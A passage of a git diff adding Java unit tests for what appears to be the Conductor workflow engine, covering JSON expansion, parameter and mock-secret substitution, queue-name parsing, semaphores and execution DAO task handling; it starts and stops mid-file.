+ jsonUtils.expand(map); + + assertTrue(map.get("externalId") instanceof LinkedHashMap); + } + + @Test + public void testMultiLevelMap() { + Map parentMap = new HashMap<>(); + parentMap.put("requestId", "abcde"); + parentMap.put("status", "PROCESSED"); + + Map childMap = new HashMap<>(); + childMap.put("path", "test/path"); + childMap.put("type", "VIDEO"); + + Map grandChildMap = new HashMap<>(); + grandChildMap.put("duration", "370"); + grandChildMap.put("passed", "true"); + + childMap.put("metadata", grandChildMap); + parentMap.put("asset", childMap); + + Object jsonObject = jsonUtils.expand(parentMap); + assertNotNull(jsonObject); + } + + // This test verifies that the types of the elements in the input are maintained upon expanding + // the JSON object + @Test + public void testTypes() throws Exception { + String map = + "{\"requestId\":\"1375128656908832001\",\"workflowId\":\"fc147e1d-5408-4d41-b066-53cb2e551d0e\"," + + "\"inner\":{\"num\":42,\"status\":\"READY\"}}"; + jsonUtils.expand(map); + + Object jsonObject = jsonUtils.expand(map); + assertNotNull(jsonObject); + assertTrue(jsonObject instanceof LinkedHashMap); + assertTrue(((LinkedHashMap) jsonObject).get("requestId") instanceof String); + assertTrue(((LinkedHashMap) jsonObject).get("workflowId") instanceof String); + assertTrue(((LinkedHashMap) jsonObject).get("inner") instanceof LinkedHashMap); + assertTrue( + ((LinkedHashMap) ((LinkedHashMap) jsonObject).get("inner")).get("num") + instanceof Integer); + assertTrue( + ((LinkedHashMap) ((LinkedHashMap) jsonObject).get("inner")) + .get("status") + instanceof String); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/utils/ParametersUtilsTest.java b/core/src/test/java/com/netflix/conductor/core/utils/ParametersUtilsTest.java new file mode 100644 index 0000000..f033cb0 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/utils/ParametersUtilsTest.java @@ -0,0 +1,516 @@ +/* + * Copyright 2021 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.utils; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.atomic.AtomicReference; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.dao.EnvironmentDAO; +import com.netflix.conductor.dao.SecretsDAO; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertNull; +import static org.junit.Assert.assertSame; +import static org.junit.Assert.assertTrue; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +@ContextConfiguration(classes = {TestObjectMapperConfiguration.class}) +@RunWith(SpringRunner.class) +@SuppressWarnings("rawtypes") +public class ParametersUtilsTest { + + private ParametersUtils parametersUtils; + private JsonUtils jsonUtils; + + @Autowired private ObjectMapper objectMapper; + + @Before + public void setup() { + parametersUtils = new ParametersUtils(objectMapper); + jsonUtils = new JsonUtils(objectMapper); + } + + @Test + public void testReplace() throws Exception { + Map map = new HashMap<>(); + map.put("name", "conductor"); + map.put("version", 2); + map.put("externalId", "{\"taskRefName\":\"t001\",\"workflowId\":\"w002\"}"); + + Map input = new HashMap<>(); + input.put("k1", "${$.externalId}"); + input.put("k4", "${name}"); + input.put("k5", "${version}"); + + Object jsonObj = objectMapper.readValue(objectMapper.writeValueAsString(map), Object.class); + + Map replaced = parametersUtils.replace(input, jsonObj); + assertNotNull(replaced); + + assertEquals("{\"taskRefName\":\"t001\",\"workflowId\":\"w002\"}", replaced.get("k1")); + assertEquals("conductor", replaced.get("k4")); + assertEquals(2, replaced.get("k5")); + } + + @Test + public void testReplaceWithArrayExpand() { + List list = new LinkedList<>(); + Map map = new HashMap<>(); + map.put("externalId", "[{\"taskRefName\":\"t001\",\"workflowId\":\"w002\"}]"); + map.put("name", "conductor"); + map.put("version", 2); + list.add(map); + jsonUtils.expand(list); + + Map input = new HashMap<>(); + input.put("k1", "${$..externalId}"); + input.put("k2", "${$[0].externalId[0].taskRefName}"); + input.put("k3", "${__json_externalId.taskRefName}"); + input.put("k4", "${$[0].name}"); + input.put("k5", "${$[0].version}"); + + Map replaced = parametersUtils.replace(input, list); + assertNotNull(replaced); + assertEquals(replaced.get("k2"), "t001"); + assertNull(replaced.get("k3")); + assertEquals(replaced.get("k4"), "conductor"); + assertEquals(replaced.get("k5"), 2); + } + + @Test + public void testReplaceWithMapExpand() { + Map map = new HashMap<>(); + map.put("externalId", "{\"taskRefName\":\"t001\",\"workflowId\":\"w002\"}"); + map.put("name", "conductor"); + map.put("version", 2); + jsonUtils.expand(map); + + Map input = new HashMap<>(); + input.put("k1", "${$.externalId}"); + input.put("k2", "${externalId.taskRefName}"); + input.put("k4", "${name}"); + input.put("k5", "${version}"); + + Map replaced = parametersUtils.replace(input, map); + assertNotNull(replaced); + assertEquals("t001", replaced.get("k2")); + assertNull(replaced.get("k3")); + assertEquals("conductor", replaced.get("k4")); + assertEquals(2, replaced.get("k5")); + } + + @Test + public void testReplaceConcurrent() throws ExecutionException, InterruptedException { + ExecutorService executorService = Executors.newFixedThreadPool(2); + + AtomicReference generatedId = new AtomicReference<>("test-0"); + Map input = new HashMap<>(); + Map payload = new HashMap<>(); + payload.put("event", "conductor:TEST_EVENT"); + payload.put("someId", generatedId); + input.put("payload", payload); + input.put("name", "conductor"); + input.put("version", 2); + + Map inputParams = new HashMap<>(); + inputParams.put("k1", "${payload.someId}"); + inputParams.put("k2", "${name}"); + + CompletableFuture.runAsync( + () -> { + for (int i = 0; i < 10000; i++) { + generatedId.set("test-" + i); + payload.put("someId", generatedId.get()); + Object jsonObj = null; + try { + jsonObj = + objectMapper.readValue( + objectMapper.writeValueAsString(input), + Object.class); + } catch (JsonProcessingException e) { + e.printStackTrace(); + return; + } + Map replaced = + parametersUtils.replace(inputParams, jsonObj); + assertNotNull(replaced); + assertEquals(generatedId.get(), replaced.get("k1")); + assertEquals("conductor", replaced.get("k2")); + assertNull(replaced.get("k3")); + } + }, + executorService) + .get(); + + executorService.shutdown(); + } + + // Tests ParametersUtils with Map and List input values, and verifies input map is not mutated + // by ParametersUtils. + @Test + public void testReplaceInputWithMapAndList() throws Exception { + Map map = new HashMap<>(); + map.put("name", "conductor"); + map.put("version", 2); + map.put("externalId", "{\"taskRefName\":\"t001\",\"workflowId\":\"w002\"}"); + + Map input = new HashMap<>(); + input.put("k1", "${$.externalId}"); + input.put("k2", "${name}"); + input.put("k3", "${version}"); + input.put("k4", "${}"); + input.put("k5", "${ }"); + + Map mapValue = new HashMap<>(); + mapValue.put("name", "${name}"); + mapValue.put("version", "${version}"); + input.put("map", mapValue); + + List listValue = new ArrayList<>(); + listValue.add("${name}"); + listValue.add("${version}"); + input.put("list", listValue); + + Object jsonObj = objectMapper.readValue(objectMapper.writeValueAsString(map), Object.class); + + Map replaced = parametersUtils.replace(input, jsonObj); + assertNotNull(replaced); + + // Verify that values are replaced correctly. + assertEquals("{\"taskRefName\":\"t001\",\"workflowId\":\"w002\"}", replaced.get("k1")); + assertEquals("conductor", replaced.get("k2")); + assertEquals(2, replaced.get("k3")); + assertEquals("", replaced.get("k4")); + assertEquals("", replaced.get("k5")); + + Map replacedMap = (Map) replaced.get("map"); + assertEquals("conductor", replacedMap.get("name")); + assertEquals(2, replacedMap.get("version")); + + List replacedList = (List) replaced.get("list"); + assertEquals(2, replacedList.size()); + assertEquals("conductor", replacedList.get(0)); + assertEquals(2, replacedList.get(1)); + + // Verify that input map is not mutated + assertEquals("${$.externalId}", input.get("k1")); + assertEquals("${name}", input.get("k2")); + assertEquals("${version}", input.get("k3")); + + Map inputMap = (Map) input.get("map"); + assertEquals("${name}", inputMap.get("name")); + assertEquals("${version}", inputMap.get("version")); + + List inputList = (List) input.get("list"); + assertEquals(2, inputList.size()); + assertEquals("${name}", inputList.get(0)); + assertEquals("${version}", inputList.get(1)); + } + + @Test + public void testNestedPathExpressions() throws Exception { + Map map = new HashMap<>(); + map.put("name", "conductor"); + map.put("index", 1); + map.put("mapValue", "a"); + map.put("recordIds", List.of(1, 2, 3)); + map.put("map", Map.of("a", List.of(1, 2, 3), "b", List.of(2, 4, 5), "c", List.of(3, 7, 8))); + + Map input = new HashMap<>(); + input.put("k1", "${recordIds[${index}]}"); + input.put("k2", "${map.${mapValue}[${index}]}"); + input.put("k3", "${map.b[${map.${mapValue}[${index}]}]}"); + + Object jsonObj = objectMapper.readValue(objectMapper.writeValueAsString(map), Object.class); + + Map replaced = parametersUtils.replace(input, jsonObj); + assertNotNull(replaced); + + assertEquals(2, replaced.get("k1")); + assertEquals(2, replaced.get("k2")); + assertEquals(5, replaced.get("k3")); + } + + @Test + public void testReplaceWithLineTerminators() throws Exception { + Map map = new HashMap<>(); + map.put("name", "conductor"); + map.put("version", 2); + + Map input = new HashMap<>(); + input.put("k1", "Name: ${name}; Version: ${version};"); + input.put("k2", "Name: ${name};\nVersion: ${version};"); + input.put("k3", "Name: ${name};\rVersion: ${version};"); + input.put("k4", "Name: ${name};\r\nVersion: ${version};"); + + Object jsonObj = objectMapper.readValue(objectMapper.writeValueAsString(map), Object.class); + + Map replaced = parametersUtils.replace(input, jsonObj); + + assertNotNull(replaced); + + assertEquals("Name: conductor; Version: 2;", replaced.get("k1")); + assertEquals("Name: conductor;\nVersion: 2;", replaced.get("k2")); + assertEquals("Name: conductor;\rVersion: 2;", replaced.get("k3")); + assertEquals("Name: conductor;\r\nVersion: 2;", replaced.get("k4")); + } + + @Test + public void testReplaceWithEscapedTags() throws Exception { + Map map = new HashMap<>(); + map.put("someString", "conductor"); + map.put("someNumber", 2); + + Map input = new HashMap<>(); + input.put( + "k1", + "${$.someString} $${$.someNumber}${$.someNumber} ${$.someNumber}$${$.someString}"); + input.put("k2", "$${$.someString}afterText"); + input.put("k3", "beforeText$${$.someString}"); + input.put("k4", "$${$.someString} afterText"); + input.put("k5", "beforeText $${$.someString}"); + + Map mapValue = new HashMap<>(); + mapValue.put("a", "${someString}"); + mapValue.put("b", "${someNumber}"); + mapValue.put("c", "$${someString} ${someNumber}"); + input.put("map", mapValue); + + List listValue = new ArrayList<>(); + listValue.add("${someString}"); + listValue.add("${someNumber}"); + listValue.add("${someString} $${someNumber}"); + input.put("list", listValue); + + Object jsonObj = objectMapper.readValue(objectMapper.writeValueAsString(map), Object.class); + + Map replaced = parametersUtils.replace(input, jsonObj); + assertNotNull(replaced); + + // Verify that values are replaced correctly. + assertEquals("conductor ${$.someNumber}2 2${$.someString}", replaced.get("k1")); + assertEquals("${$.someString}afterText", replaced.get("k2")); + assertEquals("beforeText${$.someString}", replaced.get("k3")); + assertEquals("${$.someString} afterText", replaced.get("k4")); + assertEquals("beforeText ${$.someString}", replaced.get("k5")); + + Map replacedMap = (Map) replaced.get("map"); + assertEquals("conductor", replacedMap.get("a")); + assertEquals(2, replacedMap.get("b")); + assertEquals("${someString} 2", replacedMap.get("c")); + + List replacedList = (List) replaced.get("list"); + assertEquals(3, replacedList.size()); + assertEquals("conductor", replacedList.get(0)); + assertEquals(2, replacedList.get(1)); + assertEquals("conductor ${someNumber}", replacedList.get(2)); + + // Verify that input map is not mutated + Map inputMap = (Map) input.get("map"); + assertEquals("${someString}", inputMap.get("a")); + assertEquals("${someNumber}", inputMap.get("b")); + assertEquals("$${someString} ${someNumber}", inputMap.get("c")); + + // Verify that input list is not mutated + List inputList = (List) input.get("list"); + assertEquals(3, inputList.size()); + assertEquals("${someString}", inputList.get(0)); + assertEquals("${someNumber}", inputList.get(1)); + assertEquals("${someString} $${someNumber}", inputList.get(2)); + } + + @Test + public void getWorkflowInputHandlesNullInputTemplate() { + WorkflowDef workflowDef = new WorkflowDef(); + Map inputParams = Map.of("key", "value"); + Map workflowInput = + parametersUtils.getWorkflowInput(workflowDef, inputParams); + assertEquals("value", workflowInput.get("key")); + } + + @Test + public void getWorkflowInputFillsInTemplatedFields() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setInputTemplate(Map.of("other_key", "other_value")); + Map inputParams = new HashMap<>(Map.of("key", "value")); + Map workflowInput = + parametersUtils.getWorkflowInput(workflowDef, inputParams); + assertEquals("value", workflowInput.get("key")); + assertEquals("other_value", workflowInput.get("other_key")); + } + + @Test + public void getWorkflowInputPreservesExistingFieldsIfPopulated() { + WorkflowDef workflowDef = new WorkflowDef(); + String keyName = "key"; + workflowDef.setInputTemplate(Map.of(keyName, "templated_value")); + Map inputParams = new HashMap<>(Map.of(keyName, "supplied_value")); + Map workflowInput = + parametersUtils.getWorkflowInput(workflowDef, inputParams); + assertEquals("supplied_value", workflowInput.get(keyName)); + } + + @Test + public void testWorkflowEnvResolvesEagerly() { + EnvironmentDAO env = mock(EnvironmentDAO.class); + when(env.getEnvVariable("REGION")).thenReturn("us-east-1"); + SecretsDAO secrets = mock(SecretsDAO.class); + ParametersUtils pu = new ParametersUtils(objectMapper, env, secrets); + + Map input = new HashMap<>(); + input.put("region", "${workflow.env.REGION}"); + + WorkflowModel wf = new WorkflowModel(); + wf.setWorkflowDefinition(new WorkflowDef()); + Map out = pu.getTaskInput(input, wf, null, "t1"); + + assertEquals("us-east-1", out.get("region")); + } + + @Test + public void testWorkflowEnvResolvesJsonPath() { + EnvironmentDAO env = mock(EnvironmentDAO.class); + when(env.getEnvVariable("CONFIG")) + .thenReturn("{\"host\":\"db.example.com\",\"port\":5432}"); + SecretsDAO secrets = mock(SecretsDAO.class); + ParametersUtils pu = new ParametersUtils(objectMapper, env, secrets); + + Map input = new HashMap<>(); + input.put("host", "${workflow.env.CONFIG.host}"); + + WorkflowModel wf = new WorkflowModel(); + wf.setWorkflowDefinition(new WorkflowDef()); + Map out = pu.getTaskInput(input, wf, null, "t1"); + + assertEquals("db.example.com", out.get("host")); + } + + @Test + public void testWorkflowSecretsLeftLiteralDuringNormalResolution() { + EnvironmentDAO env = mock(EnvironmentDAO.class); + SecretsDAO secrets = mock(SecretsDAO.class); + ParametersUtils pu = new ParametersUtils(objectMapper, env, secrets); + + Map input = new HashMap<>(); + input.put("pwd", "${workflow.secrets.DB_PASSWORD}"); + + WorkflowModel wf = new WorkflowModel(); + wf.setWorkflowDefinition(new WorkflowDef()); + Map out = pu.getTaskInput(input, wf, null, "t1"); + + assertEquals("${workflow.secrets.DB_PASSWORD}", out.get("pwd")); + } + + @Test + public void testSubstituteSecretsResolvesPlainAndJsonPath() { + EnvironmentDAO env = mock(EnvironmentDAO.class); + SecretsDAO secrets = mock(SecretsDAO.class); + when(secrets.getSecret("DB_PASSWORD")).thenReturn("s3cr3t"); + when(secrets.getSecret("CREDS")).thenReturn("{\"user\":\"neo\",\"pass\":\"zion\"}"); + ParametersUtils pu = new ParametersUtils(objectMapper, env, secrets); + + Map input = new HashMap<>(); + input.put("pwd", "${workflow.secrets.DB_PASSWORD}"); + input.put("user", "${workflow.secrets.CREDS.user}"); + input.put("header", "Bearer ${workflow.secrets.DB_PASSWORD}"); + + Map out = pu.substituteSecrets(input); + + assertEquals("s3cr3t", out.get("pwd")); + assertEquals("neo", out.get("user")); + assertEquals("Bearer s3cr3t", out.get("header")); + // original input unmutated + assertEquals("${workflow.secrets.DB_PASSWORD}", input.get("pwd")); + } + + @Test + public void testSubstituteSecretsResolvesInsideList() { + EnvironmentDAO env = mock(EnvironmentDAO.class); + SecretsDAO secrets = mock(SecretsDAO.class); + when(secrets.getSecret("TOKEN")).thenReturn("tkn"); + ParametersUtils pu = new ParametersUtils(objectMapper, env, secrets); + + Map input = new HashMap<>(); + input.put("headers", List.of("Bearer ${workflow.secrets.TOKEN}", "static")); + + Map out = pu.substituteSecrets(input); + + assertEquals(List.of("Bearer tkn", "static"), out.get("headers")); + // original input unmutated + assertEquals(List.of("Bearer ${workflow.secrets.TOKEN}", "static"), input.get("headers")); + } + + @Test + public void testSubstituteSecretsMalformedJsonResolvesToNull() { + EnvironmentDAO env = mock(EnvironmentDAO.class); + SecretsDAO secrets = mock(SecretsDAO.class); + when(secrets.getSecret("CREDS")).thenReturn("not-json"); + ParametersUtils pu = new ParametersUtils(objectMapper, env, secrets); + + Map input = new HashMap<>(); + input.put("v", "${workflow.secrets.CREDS.field}"); + + Map out = pu.substituteSecrets(input); + + assertNull(out.get("v")); + } + + @Test + public void testSubstituteSecretsNullDaoReturnsInput() { + ParametersUtils pu = new ParametersUtils(objectMapper); + Map input = new HashMap<>(); + input.put("pwd", "${workflow.secrets.DB_PASSWORD}"); + assertTrue(pu.substituteSecrets(input) == input); + } + + @Test + public void testSubstituteSecretsReturnsSameInstanceWhenNoSecretRef() { + EnvironmentDAO env = mock(EnvironmentDAO.class); + SecretsDAO secrets = mock(SecretsDAO.class); + ParametersUtils pu = new ParametersUtils(objectMapper, env, secrets); + + Map input = new HashMap<>(); + input.put("a", "plain"); + Map nested = new HashMap<>(); + nested.put("c", "no secret here"); + input.put("b", nested); + input.put("d", List.of(1, 2, "x")); + + Map out = pu.substituteSecrets(input); + + assertSame(input, out); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/utils/QueueUtilsTest.java b/core/src/test/java/com/netflix/conductor/core/utils/QueueUtilsTest.java new file mode 100644 index 0000000..277625a --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/utils/QueueUtilsTest.java @@ -0,0 +1,82 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.utils; + +import org.junit.Assert; +import org.junit.Test; + +public class QueueUtilsTest { + + @Test + public void queueNameWithTypeAndIsolationGroup() { + String queueNameGenerated = QueueUtils.getQueueName("tType", null, "isolationGroup", null); + String queueNameGeneratedOnlyType = QueueUtils.getQueueName("tType", null, null, null); + String queueNameGeneratedWithAllValues = + QueueUtils.getQueueName("tType", "domain", "iso", "eN"); + + Assert.assertEquals("tType-isolationGroup", queueNameGenerated); + Assert.assertEquals("tType", queueNameGeneratedOnlyType); + Assert.assertEquals("domain:tType@eN-iso", queueNameGeneratedWithAllValues); + } + + @Test + public void notIsolatedIfSeparatorNotPresent() { + String notIsolatedQueue = "notIsolated"; + Assert.assertFalse(QueueUtils.isIsolatedQueue(notIsolatedQueue)); + } + + @Test + public void testGetExecutionNameSpace() { + String executionNameSpace = QueueUtils.getExecutionNameSpace("domain:queueName@eN-iso"); + Assert.assertEquals(executionNameSpace, "eN"); + } + + @Test + public void testGetQueueExecutionNameSpaceEmpty() { + Assert.assertEquals(QueueUtils.getExecutionNameSpace("queueName"), ""); + } + + @Test + public void testGetQueueExecutionNameSpaceWithIsolationGroup() { + Assert.assertEquals( + QueueUtils.getExecutionNameSpace("domain:test@executionNameSpace-isolated"), + "executionNameSpace"); + } + + @Test + public void testGetQueueName() { + Assert.assertEquals( + "domain:taskType@eN-isolated", + QueueUtils.getQueueName("taskType", "domain", "isolated", "eN")); + } + + @Test + public void testGetTaskType() { + Assert.assertEquals("taskType", QueueUtils.getTaskType("domain:taskType-isolated")); + } + + @Test + public void testGetTaskTypeWithoutDomain() { + Assert.assertEquals("taskType", QueueUtils.getTaskType("taskType-isolated")); + } + + @Test + public void testGetTaskTypeWithoutDomainAndWithoutIsolationGroup() { + Assert.assertEquals("taskType", QueueUtils.getTaskType("taskType")); + } + + @Test + public void testGetTaskTypeWithoutDomainAndWithExecutionNameSpace() { + Assert.assertEquals("taskType", QueueUtils.getTaskType("taskType@eN")); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/utils/SemaphoreUtilTest.java b/core/src/test/java/com/netflix/conductor/core/utils/SemaphoreUtilTest.java new file mode 100644 index 0000000..9afb56d --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/utils/SemaphoreUtilTest.java @@ -0,0 +1,86 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.utils; + +import java.util.ArrayList; +import java.util.List; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.stream.IntStream; + +import org.junit.Test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; + +@SuppressWarnings("ToArrayCallWithZeroLengthArrayArgument") +public class SemaphoreUtilTest { + + @Test + public void testBlockAfterAvailablePermitsExhausted() throws Exception { + int threads = 5; + ExecutorService executorService = Executors.newFixedThreadPool(threads); + SemaphoreUtil semaphoreUtil = new SemaphoreUtil(threads); + + List> futuresList = new ArrayList<>(); + IntStream.range(0, threads) + .forEach( + t -> + futuresList.add( + CompletableFuture.runAsync( + () -> semaphoreUtil.acquireSlots(1), + executorService))); + + CompletableFuture allFutures = + CompletableFuture.allOf( + futuresList.toArray(new CompletableFuture[futuresList.size()])); + + allFutures.get(); + + assertEquals(0, semaphoreUtil.availableSlots()); + assertFalse(semaphoreUtil.acquireSlots(1)); + + executorService.shutdown(); + } + + @Test + public void testAllowsPollingWhenPermitBecomesAvailable() throws Exception { + int threads = 5; + ExecutorService executorService = Executors.newFixedThreadPool(threads); + SemaphoreUtil semaphoreUtil = new SemaphoreUtil(threads); + + List> futuresList = new ArrayList<>(); + IntStream.range(0, threads) + .forEach( + t -> + futuresList.add( + CompletableFuture.runAsync( + () -> semaphoreUtil.acquireSlots(1), + executorService))); + + CompletableFuture allFutures = + CompletableFuture.allOf( + futuresList.toArray(new CompletableFuture[futuresList.size()])); + allFutures.get(); + + assertEquals(0, semaphoreUtil.availableSlots()); + semaphoreUtil.completeProcessing(1); + + assertTrue(semaphoreUtil.availableSlots() > 0); + assertTrue(semaphoreUtil.acquireSlots(1)); + + executorService.shutdown(); + } +} diff --git a/core/src/test/java/com/netflix/conductor/dao/ExecutionDAOTest.java b/core/src/test/java/com/netflix/conductor/dao/ExecutionDAOTest.java new file mode 100644 index 0000000..7fcbede --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/dao/ExecutionDAOTest.java @@ -0,0 +1,439 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.dao; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.UUID; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.builder.EqualsBuilder; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.Assert.*; + +public abstract class ExecutionDAOTest { + + protected abstract ExecutionDAO getExecutionDAO(); + + protected ConcurrentExecutionLimitDAO getConcurrentExecutionLimitDAO() { + return (ConcurrentExecutionLimitDAO) getExecutionDAO(); + } + + @Rule public ExpectedException expectedException = ExpectedException.none(); + + @Test + public void testTaskExceedsLimit() { + TaskDef taskDefinition = new TaskDef(); + taskDefinition.setName("task1"); + taskDefinition.setConcurrentExecLimit(1); + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("task1"); + workflowTask.setTaskDefinition(taskDefinition); + workflowTask.setTaskDefinition(taskDefinition); + + List tasks = new LinkedList<>(); + for (int i = 0; i < 15; i++) { + TaskModel task = new TaskModel(); + task.setScheduledTime(1L); + task.setSeq(i + 1); + task.setTaskId("t_" + i); + task.setWorkflowInstanceId("workflow_" + i); + task.setReferenceTaskName("task1"); + task.setTaskDefName("task1"); + tasks.add(task); + task.setStatus(TaskModel.Status.SCHEDULED); + task.setWorkflowTask(workflowTask); + } + + getExecutionDAO().createTasks(tasks); + assertFalse(getConcurrentExecutionLimitDAO().exceedsLimit(tasks.get(0))); + tasks.get(0).setStatus(TaskModel.Status.IN_PROGRESS); + getExecutionDAO().updateTask(tasks.get(0)); + + for (TaskModel task : tasks) { + assertTrue(getConcurrentExecutionLimitDAO().exceedsLimit(task)); + } + } + + @Test + public void testCreateTaskException() { + TaskModel task = new TaskModel(); + task.setScheduledTime(1L); + task.setSeq(1); + task.setTaskId(UUID.randomUUID().toString()); + task.setTaskDefName("task1"); + + expectedException.expect(IllegalArgumentException.class); + expectedException.expectMessage("Workflow instance id cannot be null"); + getExecutionDAO().createTasks(List.of(task)); + + task.setWorkflowInstanceId(UUID.randomUUID().toString()); + expectedException.expect(IllegalArgumentException.class); + expectedException.expectMessage("Task reference name cannot be null"); + getExecutionDAO().createTasks(List.of(task)); + } + + @Test + public void testCreateTaskException2() { + TaskModel task = new TaskModel(); + task.setScheduledTime(1L); + task.setSeq(1); + task.setTaskId(UUID.randomUUID().toString()); + task.setTaskDefName("task1"); + task.setWorkflowInstanceId(UUID.randomUUID().toString()); + + expectedException.expect(IllegalArgumentException.class); + expectedException.expectMessage("Task reference name cannot be null"); + getExecutionDAO().createTasks(Collections.singletonList(task)); + } + + @Test + public void testTaskCreateDups() { + List tasks = new LinkedList<>(); + String workflowId = UUID.randomUUID().toString(); + + for (int i = 0; i < 3; i++) { + TaskModel task = new TaskModel(); + task.setScheduledTime(1L); + task.setSeq(i + 1); + task.setTaskId(workflowId + "_t" + i); + task.setReferenceTaskName("t" + i); + task.setRetryCount(0); + task.setWorkflowInstanceId(workflowId); + task.setTaskDefName("task" + i); + task.setStatus(TaskModel.Status.IN_PROGRESS); + tasks.add(task); + } + + // Let's insert a retried task + TaskModel task = new TaskModel(); + task.setScheduledTime(1L); + task.setSeq(1); + task.setTaskId(workflowId + "_t" + 2); + task.setReferenceTaskName("t" + 2); + task.setRetryCount(1); + task.setWorkflowInstanceId(workflowId); + task.setTaskDefName("task" + 2); + task.setStatus(TaskModel.Status.IN_PROGRESS); + tasks.add(task); + + // Duplicate task! + task = new TaskModel(); + task.setScheduledTime(1L); + task.setSeq(1); + task.setTaskId(workflowId + "_t" + 1); + task.setReferenceTaskName("t" + 1); + task.setRetryCount(0); + task.setWorkflowInstanceId(workflowId); + task.setTaskDefName("task" + 1); + task.setStatus(TaskModel.Status.IN_PROGRESS); + tasks.add(task); + + List created = getExecutionDAO().createTasks(tasks); + assertEquals(tasks.size() - 1, created.size()); // 1 less + + Set srcIds = + tasks.stream() + .map(t -> t.getReferenceTaskName() + "." + t.getRetryCount()) + .collect(Collectors.toSet()); + Set createdIds = + created.stream() + .map(t -> t.getReferenceTaskName() + "." + t.getRetryCount()) + .collect(Collectors.toSet()); + + assertEquals(srcIds, createdIds); + + List pending = getExecutionDAO().getPendingTasksByWorkflow("task0", workflowId); + assertNotNull(pending); + assertEquals(1, pending.size()); + assertTrue(EqualsBuilder.reflectionEquals(tasks.get(0), pending.get(0))); + + List found = getExecutionDAO().getTasks(tasks.get(0).getTaskDefName(), null, 1); + assertNotNull(found); + assertEquals(1, found.size()); + assertTrue(EqualsBuilder.reflectionEquals(tasks.get(0), found.get(0))); + } + + @Test + public void testTaskOps() { + List tasks = new LinkedList<>(); + String workflowId = UUID.randomUUID().toString(); + + for (int i = 0; i < 3; i++) { + TaskModel task = new TaskModel(); + task.setScheduledTime(1L); + task.setSeq(1); + task.setTaskId(workflowId + "_t" + i); + task.setReferenceTaskName("testTaskOps" + i); + task.setRetryCount(0); + task.setWorkflowInstanceId(workflowId); + task.setTaskDefName("testTaskOps" + i); + task.setStatus(TaskModel.Status.IN_PROGRESS); + tasks.add(task); + } + + for (int i = 0; i < 3; i++) { + TaskModel task = new TaskModel(); + task.setScheduledTime(1L); + task.setSeq(1); + task.setTaskId("x" + workflowId + "_t" + i); + task.setReferenceTaskName("testTaskOps" + i); + task.setRetryCount(0); + task.setWorkflowInstanceId("x" + workflowId); + task.setTaskDefName("testTaskOps" + i); + task.setStatus(TaskModel.Status.IN_PROGRESS); + getExecutionDAO().createTasks(Collections.singletonList(task)); + } + + List created = getExecutionDAO().createTasks(tasks); + assertEquals(tasks.size(), created.size()); + + List pending = + 